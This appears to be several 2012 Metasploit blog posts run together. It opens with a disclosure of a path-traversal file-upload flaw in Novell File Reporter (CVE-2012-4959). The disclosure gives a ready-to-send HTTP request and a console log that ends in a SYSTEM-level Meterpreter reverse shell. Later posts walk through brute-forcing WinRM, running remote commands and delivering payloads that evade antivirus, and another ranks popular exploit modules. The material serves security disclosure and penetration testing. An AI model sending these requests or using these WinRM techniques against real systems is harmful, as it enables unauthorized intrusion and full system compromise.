[*] exec: cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

 

CVE-2012-4959 - Arbitrary File Upload

 

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent.  The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”.  When handling RECORDs with NAME “FSFUI” and UICMD “130” the request is managed by the function named as read_file_sub_40A190 () whose decompiled pseudocode is presented below:

 

int __stdcall write_file_sub_40A190(char *xml_message_arg_0, char *a2)
{
  size_t v2; // eax@1
  int result; // eax@6
  char result_arg_8[256]; // [sp+Ch] [bp-150h]@1
  int v5; // [sp+10Ch] [bp-50h]@4
  void *v6; // [sp+110h] [bp-4Ch]@3
  int v7; // [sp+114h] [bp-48h]@1
  FILE *v8; // [sp+118h] [bp-44h]@2
  char v9; // [sp+11Ch] [bp-40h]@1
  char v10; // [sp+154h] [bp-8h]@1


  memcpy(&v9, "<RESULT><VERSION>1</VERSION><STATUS>%d</STATUS></RESULT>", 0x38u);
  v10 = aResultVersi_21[56];
  v7 = sub_40B670();
  strcpy(result_arg_8, Buffer);
  strcat(result_arg_8, "\\");
  v2 = strlen(result_arg_8);
  // The contents of the element <FILE> from the XML request are used to build the file path
  // (stored in the result_arg_8 variable
  if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )
  {
    // The file path built from the <FILE> element is used in “fopen”. Using a directory
    // traversal an arbitrary file can be opened in write mode.
    v8 = fopen(result_arg_8, "wb");
    if ( v8 )
    {
      sprintf(a2, &v9, 0);
      // The contents between the tags “<![CDATA[“ and “]]>” are parsed from the user XML
      // request.
      v6 = (void *)sub_403F40(xml_message_arg_0, "<![CDATA[");
      if ( v6 )
      {
        v6 = (char *)v6 + 9;
        v5 = sub_403F40((char *)v6, "]]>");
        if ( v5 )
          // The parsed contents are written to the specified file.
          fwrite(v6, 1u, v5 - (_DWORD)v6, v8);
      }
      result = fclose(v8);
    }
    else
    {
      result = sprintf(a2, &v9, 14);
    }
  }
  else
  {
    result = sprintf(a2, &v9, 14);
  }


  return result;
}










 

In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen(). Using a path traversal is possible to open or create any file in the filesystem with SYSTEM privileges. After that, the request is parsed for the “<![CDATA[“ and “]]>” tags and the contents between them are written to the file with “fwrite()”.

 

Exploitation

 

In order to exploit the vulnerability the user must build a XML message like this one:

 

<RECORD>
    <NAME>FSFUI</NAME>
    <UICMD>130</UICMD>
    <FILE>..\..\..\..\..\..\test.txt</FILE><![CDATA[test]]>
</RECORD>










 

The file to write must be specified in the <FILE> element.  The contents with a “<![CDATA[contents]]>” element. The message must be sent through HTTPS to the PATH “/FSF/CMD”.

 

The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” + XML MESSAGE + “SERVER”, where “SRS” and “SERVER” are static strings.

 

As example the next HTTP request allows to write the string “metasploit” in the “C:\\msf.txt” file:

 

POST /FSF/CMD HTTP/1.1

Host: 192.168.1.137:2037

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Content-Type: text/xml

Content-Length: 145

 

 

3CFD5A649F67C0522A7FE1EDAC0382BF<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>..\..\..\..\..\..\msf.txt</FILE><![CDATA[metasploit]]></RECORD>

 

If the file is written correctly a response with STATUS 0 is returned back to the user:

 

HTTP/1.1 200 OK

MIME-version: 1.0

Connection: close

Content-Type: text/xml

Content-Length: 55

 

 

<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>

 

In order to achieve remote code execution in versions smaller than Windows Vista, such as Windows XP SP3 and Windows 2003 SP2, the Windows Management Instrumentation has been used. A Metasploit module has been developed:

 

  
msf > use exploit/windows/novell/file_reporter_fsfui_upload 
msf  exploit(file_reporter_fsfui_upload) > set RHOST 192.168.1.150 
RHOST => 192.168.1.150
msf  exploit(file_reporter_fsfui_upload) > show options

Module options (exploit/windows/novell/file_reporter_fsfui_upload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEPTH    6                yes       Traversal depth
   Proxies                   no        Use a proxy chain
   RHOST    192.168.1.150    yes       The target address
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(file_reporter_fsfui_upload) > exploit

[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into vbs...
[*] Generating mof file...
[*] 192.168.1.150:3037 - Uploading the VBS payload
[*] 192.168.1.150:3037 - VBS payload successfully uploaded
[*] 192.168.1.150:3037 - Uploading the MOF file
[*] 192.168.1.150:3037 - MOF file successfully uploaded
[*] Sending stage (752128 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.150:1133) at 2012-11-09 16:12:57 +0100
[!] Deleting the vbs payload "wGYrt.vbs" ...
[!] Deleting the mof file "lOpOwwjuW.mof" ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.150 - Meterpreter session 1 closed.  Reason: User exit

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

WinRM, Part Two

 

In the last Metasploit update blog post, we talked about the work from Metasploit core contributors @TheLightCosine, @mubix and @_sinn3r on leveraging WinRM / WinRS. As of this update, Metasploit users can now execute WQL queries, execute commands, and inject and run shellcode.

 

Gee, WinRM, is there anything you can't do?

 

Of course, it's not quite the death knell for psexec, but the fact that 445/TCP is such a commonly blocked port between zones, while 5985/TCP might not be, makes WinRM a pretty promising vector for pentesters. For more detail on this, find a quiet place and read up on all the details on TheLightCosine's recent blog post, Abusing Windows Remote Management (WinRM) with Metasploit.

 

Digi ADDP and RealPort

 

This week's update features two new protocol libraries, ADDP and RealPort. The Advanced Device Discovery Protocol, aka ADDP, was implemented by core Metasploit contributor and known troublemaker HD Moore. You can read up on ADDP over at Digi International, who is responsible for promulgating this protocol. The TL;DR version is that ADDP is kind of like uPNP and Bonjour -- it's another multicast, UDP-based device discovery (and manipulation) protocol.

 

RealPort, also from Digi International, and also implemented by HD, is a TCP-based protocol used to "easily network-enable serial devices" -- you can read the source of that quote at Digi as well (PDF link). Hey, it's not only a proprietary protocol, but it's got some patent encumbrances as well, so it must be extra awesome.

 

Of course, we've also included a couple basic new modules to exercise the functionality (see the list at the end of this post). While ADDP is limited to the local broadcast domain (due to its reliance on multicast addressing), RealPort, being TCP, has no such limitation. Also keep in mind that devices with serial ports talking on open networks is pretty much the working definition of SCADA these days. So, for you pen testers that have clients with lots of serial-port-to-TCP devices, you will want to add 771/TCP to your default port scans. I'm looking at you, utility and transportation sectors.

 

Travis-CI and RSpec

 

Slowly but surely, the Metasploit Framework is coming under the sway of modern software engineering practices. For those of you who track our GitHub repository, you may have noticed that we're now shipping a few more RSpec tests in order to ensure that new changes don't trigger old regressions. We're also running a Travis-CI instance to check that new pull requests don't suddenly invalidate the existing tests. Actual, repeatable code testing and continuous integration practices are crucial aspects of any modern software engineering endevor, and of course Metasploit, as a major open source software project, ought to be no exception.

 

Does this herald the coming of over-complicated, politically-charged, soul-crushing change control on new code for Metasploit? Of course not! Not only would that be no fun at all, and would drive me to drink (more), it would also instantly alienate our most valuable contributors (spoiler alert: it's you).

 

We are merely trying to shift off the boring, automatable bits of software development to robots, so we can get to the fun, messy bits of hacking and experimentation. Often, new research means new functionality and refinement to existing core libraries of Metasploit, and those changes tend to have far-reaching impact. CI and BDD both offer some peace of mind that those changes are ultimately positive.

 

Want to help? This drive for testing coverage means that you guys have more opportunity to help out the project, even if you're not discovering 0-day or pawing over the whole Internet in seven hour increments. Take any hunk of Metasploit functionality, large or small, and write up some tests that exercise the code paths. I guarantee that you will either a) discover bugs that ought to be fixed, or b) produce a nice all-green report that everything's copacetic. Either way, everyone wins. Take a look at some existing tests to get started, and go to town.

 

Thanks heaps to Luke @KronicDeth Imhoff and James @Egyp7 Lee for taking the lead on making this all happen with minimal fuss.

 

New Modules

 

Here's this week's set of new Metasploit modules, for your perusal on Metasploit's Exploit Database. We didn't have an update last week, so it's kind of a lot.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see the most excellent release notes.

Late one night at Derbycon, Mubix and I were discussing various techniques of mass ownage. When Mubix told me about the WinRM service, I wondered: "Why don't we have any Metasploit modules for this yet?" After I got back , I began digging.

 

WinRM/WinRS

 

WinRM is a remote management service for Windows that is installed but not enabled by default in Windows XP and higher versions, but you can install it on older operating systems as well. WinRM's sister service is called Windows Remote Shell (WinRS). Both of these authenticated services are tied to an HTTP or HTTPS SOAP listener and support Kerberos and NTLM authentication by default. I started looking at NTLM authentication since it's already supported in Metasploit.

 

If you're setting up WinRM, please be aware that the default quickconfig setup will leave the service in an awkward, non-functional state. It will set AllowUnencrypted to false, meaning it will refuse to establish any sessions over HTTP without SSL. Unfortunately, the quickconfig setup will not configure the HTTPS listener. The user can now either set AllowUnecrypted to true or configure the HTTPS listener.

 

If the listener is HTTPS, some adjustments will need to be made to the module default options. Just set SSL to true, set SSLVersion to the correct SSL Version, and adjust RPORT appropriately. Default settings for the WinRM ports vary depending on whether they are encrypted and which version of WinRM is being used. In older versions of WinRM, it listens on 80 and 443 respectively. On newer versions, it listens on 5985 and 5986 respectively. Metasploit can connect to both HTTP and HTTPS ports; use the standard SSL options for HTTPS.

 

The listener has two back ends: The first one is WMI, which provides powerful querying of system information and remote management functionality. The second is a remote shell interface.

 

More information about WinRM can be found here.

 

Discovery (use auxiliary/scanner/winrm/winrm_auth_methods)

 

The first thing to build, was a basic discovery module that determines if a WinRM service is listening on a given HTTP(S) port. If it does, it also enumerates the supported authentication methods. The screenshot shows how the discovery module creates a service entry for WinRM with the authentication types included in the info.

winrm_discovery.png

 

Bruteforce (use auxiliary/scanner/winrm/winrm_login)

 

In this example, the service supports Negotiate (NTLM) authentication. However, we cannot do anything with WinRM without working credentials. The winrm_login module is a standard Metasploit login scanner to bruteforce passwords. After you supply a list of targets (HOSTS), the WinRM port (RPORT), and specify which credentials to try, it will attempt to find a working password for the service.

 

winrm_login.png

 

Running WMI Queries (use auxiliary/scanner/winrm_wql)

 

Once we have found valid credentials for the WinRM service, we can abuse the WMI functionality to execute arbitrary WQL queries against the target. The module will also save the query results as loot. In the example below, we run a WQL query to get the architecture of the remote system (32 or 64 bit).

 

winrm_wql.png

 

Running Commands (use auxiliary/scanner/winrm/winrm_cmd)

 

WinRM's conjoined twin sister, WinRS, allows the user to instantiate a shell on the remote box, send commands, and receive output streams. Metasploit can send any arbitrary Windows command, and receive both STDOUT and STDERR, essentially providing a stateless shell over HTTP/SOAP.

 

It is important to note that WinRS shells have a maximum time to live before the service will close them out. The service also has a configurable concurrent command limit, but these don't matter in this case as we are only executing a single command and cleaning up the shell. Here, we execute a simple ipconfig command as an example.

 

winrm_cmd.png

 

Getting Shells! (use exploit/windows/winrm/winrm_script_exec)

 

Now we're in a great position to get shells. For many years, the PSExec module has been the main way of using system credentials to obtain a shell. This has become less and less reliable as many of the Metasploit Framework payloads are detected by anti-virus solutions. Metasploit Pro users have the option of dynamically generating EXE payloads, but this is not foolproof.

 

The advantage of the WinRM Script Exec exploit module can obtain a shell without triggering an anti-virus solution, in certain cases. This module has two different payload delivery methods. Its primary delivery method is through the use of PowerShell 2.0. The module checks to see if PowerShell 2.0 is available on the system. It then tries to enable unrestricted script execution, an important step because PowerShell does not execute unsigned script files by default. If either of these checks fail, it will default to the VBS CmdStager payload method, otherwise it will use our Powershell 2.0 method.

 

PowerShell 2.0

 

When using the PowerShell 2.0 method, the module writes the payload into a script file using the Append-Content cmdlet and executes it. This is where other payload delivery methods tend to get caught. The VBS Cmdstager PSExec, and other similar modules write out an EXE on the filesystem and run it. These EXEs often get picked up by AV. With the PowerShell 2.0 method, we are only dropping pure PowerShell onto the file system. These scripts do not appear to be flagged by any known AV.

 

We're not quite done yet - there’s some more trickiness afoot. Remember that we said WinRS shells have a limited time to live. This means that any child processes spawned in that shell will also get killed inside 5 minutes, including our shell. The traditional migrate –f option is not an option. It creates the notepad.exe process, which is also a child of the shell, and therefore subject to the same limitation. We need an alternate migration method, to get out of that process tree. This is where the new smart_migrate Metasploit post-exploitation module comes in. SmartMigrate takes a snapshot of the process environment on the victim machine, grabbing the PIDs for winlogon.exe and any explorer.exe processes. It first attempts to migrate to Winlogon, a very stable system process for migration purposes and a highly desirable target. If we lack sufficient permissions, the module looks at the explorer.exe processes. If there is an explorer.exe process for our current user context it will try to migrate to that one first. If one does not exist within our current user context, it will go down the list trying each one.  This clear, automated process helps successfully migrate the shell before WinRS times out.

 

With the PowerShell 2.0 method, it is important that you select an x64 payload if you are targeting an x64 system, otherwise you won't be able to obtain a session. If there is a mismatch between the remote architecture and your payload when using PowerShell 2.0, the module will not launch the exploit and warn you of the error.

 

winrm_exploit.png

 

VBS CmdStager

 

If any of the initial checks failed, i.e PowerShell 2.0 installed, and an Unrestricted Execution Policy, we fall back to the VBS CmdStager. This method writes out two files to the filesystem. It writes out a base64 encoded copy of the actual payload, and a VBScript file. The VbScript file is then executed. It decodes the base64 files and writes out an exe. The VbScript then executes the EXE it has written out. This method is far less stealthy as it involves actually writing an EXE to the filesystem. It is a reasonable fallback position though, as VBS should be available on any system that does not support PowerShell. This method still requires the same migration as the Powershell 2.0 method.

 

Screen Shot 2012-11-06 at 12.32.24 PM.png

 

We hope you've had fun abusing the WinRM/WinRS service with Metasploit. What we have seen here is only the begining of what can be accomplished with WinRM in Metasploit. We expect to see more WinRM modules in the futures. Also, the discovery, bruteforce, and exploit modules will soon be integrated into  Metasploit Pro's automated features. Metasploit Pro users will be able to discover WinRM services, bruteforce WinRM services, and use the script_exec module to to gain a shell using credentials.

 

Happy Hacking!

 

-Thelightcosine

Exploit Database (DB)

Time for your monthly dose of Metasploit exploit trends! Each month we gather this list of the most searched exploit and auxiliary modules from the Metasploit database. To protect users' privacy, the statistics come from analyzing webserver logs of searches, not from monitoring Metasploit usage.

 

October was a quiet month for exploit headlines, so not a whole lot of action on the list. The high traffic to Java and IE modules from their respective 0-days settled down, so you'll see some shuffling of order from that. Check out October's exploit and auxiliary modules below, annotated with Tod Beardsley's commentary.

 

1. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you've ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft’s Security TechCenter. Up three places from #4 last month.

2. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Up three places from #5 last month.

3.  Java 7 Applet Remote Code Execution: Over a fateful weekend in August, Metasploit exploit devs Wei "sinn3r" Chen, Juan Vazquez, and contributor Josh "jduck" Drake got together on IRC and put together a Metasploit module to take advantage of the vulnerability reported privately to Oracle by Adam Gowdiak and James Forshow. Here's the twist: Nobody at the time knew about Adam's or James's private disclosure to Oracle -- this bug was instead spotted in the wild way before Oracle was planning to release their fix. So, we started the week with a new Java 0-day, and by the end of the week, after much speculation, Oracle did the right thing and accelerated their patch schedule. Interesting times, to say the least. Down one place from #2 last month.

4.  Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Up two places from #6 last month.

5. MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability: This bug started off with Eric Romang's blog post and ended up with a module being cooked up over a weekend by Eric, @binjo, and the Metasploit exploit dev team. This event, like the Java 0-day, had the net effect of speeding up the vendor's patch schedule. If there was no public, open exploit, would there have been a patch so rapidly? Was it connected with Java 0-day? Who's the primary source for these critical client-side bugs, anyway? These and other questions are still being speculated on and debated in the security industry and security press. Down two places from #3 last month.

6. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. I’d bet it’s the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Up two places from #8 last month.

7. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop: Not sure why this module is still popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. Up three places from #10 last month.

8. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that’s notable in that there’s no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice. More on this topic in at Microsoft’s Security TechCenter. Down one place from #7 last month.

9. PHP CGI Argument Injection: This exploits CVE-2012-1823, a vulnerability in the way PHP-CGI handles parameters passed on GET requests. The vulnerability was discovered during a capture-the-flag exercise at NullCon in January 2012, and the bug's life cycle is pretty thoroughly documented over at De Eindbazen. Here's the short story: this bug, which allows for command execution via GET requests to PHP-CGI installtions, has been knocking around PHP installations since 2004. It was first reported to PHP in January of 2012 (yes, eight years after it was introduced), subsequently leaked accidentally in May of 2012, and actively exploited shortly thereafter. Back from #8 on August's Exploit Trends.

10. Apache mod_isapi <= 2.2.14 Dangling Pointer: Although this is an exploit in Apache, don’t be fooled! It’s only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module’s release), and it’s only a DoS. Again, kind of a mystery as to why it’s so popular. Down one place from #9 last month.

If you' d like to try out any of these exploits, download Metasploit for free!

WinRM Exploit Library

 

For the last couple weeks, Metasploit core contributor David @TheLightCosine Maloney has been diving into Microsoft's WinRM services with @mubix and @_sinn3r. Until these guys started talking about it, I'd never heard WinRM. If you're also not in the Windows support world day-to-day, you can read up on it at Microsoft or Wikipedia to get the gist of things. The short story is, WinRM's purpose is to provide a "firewall-friendly" way for machines to interoperate. I don't know about you, but when Microsoft uses a term like "firewall-friendly," I read, "remote pwnage over the Internet."

 

As a result of this research, we have a delightful new core exploit library to start exercising WinRM functionality in native Ruby, and we're shipping some groundwork-laying modules for discovering WinRM services and bruteforcing authentication over the same this week.

 

But wait, there's more! I and a few others here in Austin last week got to see a demo of the more advanced techniques TheLightCosine is using to muscle his way into a Meterpreter session over WinRM vectors. Those modules are getting the finishing touches now for general availability, so the next Metasploit Update should see Part Two of this research project. As a result, penetration testers will be able to start leveraging unprotected WinRM-based support infrastructure for command-execution hijinks. Fun times!

 

Yo Dawg, I Heard you Liked Metasploit Exploits

 

Also, this week we have a new local privilege escalation vulnerability for Metasploit 4.3.0 and prior. We don't remember if it was todb or egypt who first introduced this bug, but community contributor 0a2940 was more than happy to exploit it.

 

It's a pretty fun exploit, but to be honest, the chances you'll encounter this bug in the real world are pretty slim. The victim needs to be actively using the pcap_log plugin at the time of attack, and you need to be on an un-NAT'ed network segment common to the victim in order to have a decent shot at success.

 

That said, this module is a good object lesson of why you shouldn't have a root user pass tainted data to a predictable location in /tmp. 0a2940's exploit demos this exceedingly well, and incidentally also shows that you can barf all kind of nulls and other unprintables in the middle of /etc/passwd and not affect its availability one bit. Hooray for resilient text file formats!

 

New Modules

 

In addition to those mentioned above, here's the breakdown of new modules in this week's update. Follow the links to Metasploit's Exploit Database for more info on exposure and usage.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see the most excellent release notes.

Filter Blog

By date: By tag: